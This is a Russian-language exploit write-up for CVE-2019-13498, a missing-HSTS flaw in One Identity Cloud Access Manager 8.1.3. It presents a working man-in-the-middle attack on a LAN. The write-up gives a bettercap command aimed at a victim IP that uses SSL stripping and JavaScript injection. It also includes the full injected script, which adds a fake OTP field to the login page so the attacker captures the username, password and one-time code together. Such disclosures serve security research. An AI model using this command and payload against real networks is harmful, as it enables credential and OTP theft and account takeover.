CVE-2019-13498
Название эксплойта: MITM - Отсутствие HSTS, приводящее к краже учетных данных и манипуляции контентом
Дата: 07/10/2019
Автор эксплойта: Furqan Khan
Домашняя страница вендора: https://www.oneidentity.com/
Ссылка на ПО: https://www.oneidentity.com/products/cloud-access-manager/
Версия: 8.1.3
Протестировано на: Kali Linux , Windows 7 ,Ubantu 16.04
Для проведения MITM-атаки и кражи имени пользователя, пароля и OTP мы используем bettercap 1.6. В идеале поле OTP появляется на второй странице приложения после успешной аутентификации пользователя с легитимными именем пользователя и паролем. Однако мы используем SSL strip и манипуляцию контентом, чтобы вставить поле OTP на ту же страницу, где запрашиваются имя пользователя и пароль. Жертва может подумать, что это изменение исходит от самого приложения, и введет имя пользователя, пароль и OTP, отправив форму. Атакующий, настроивший bettercap и прокси, получит учетные данные и OTP и использует их для входа в приложение.
Используемая команда bettercap:
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

Здесь 192.168.1.103 — IP-адрес жертвы. Если мы его не знаем, мы можем использовать bettercap для перехвата и манипуляции содержимым всей LAN (общая сеть атакующего и жертвы).
Содержимое inject_js.js приведено ниже
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
Теперь, когда жертва заходит на продукт (Cloud Access Manager), из-за отравления кэша и SSL-strip (Bettercap) на странице, которая будет отправлена жертве с помощью внедренного JavaScript-фрагмента, появится поле ввода OTP

Поскольку соединение понижается до HTTP через ssl-strip, теперь весь трафик будет виден атакующему. Таким образом, мы можем перехватывать трафик и видеть имя пользователя, пароль и OTP, отправленные жертвой.

Бинго! Это было легко!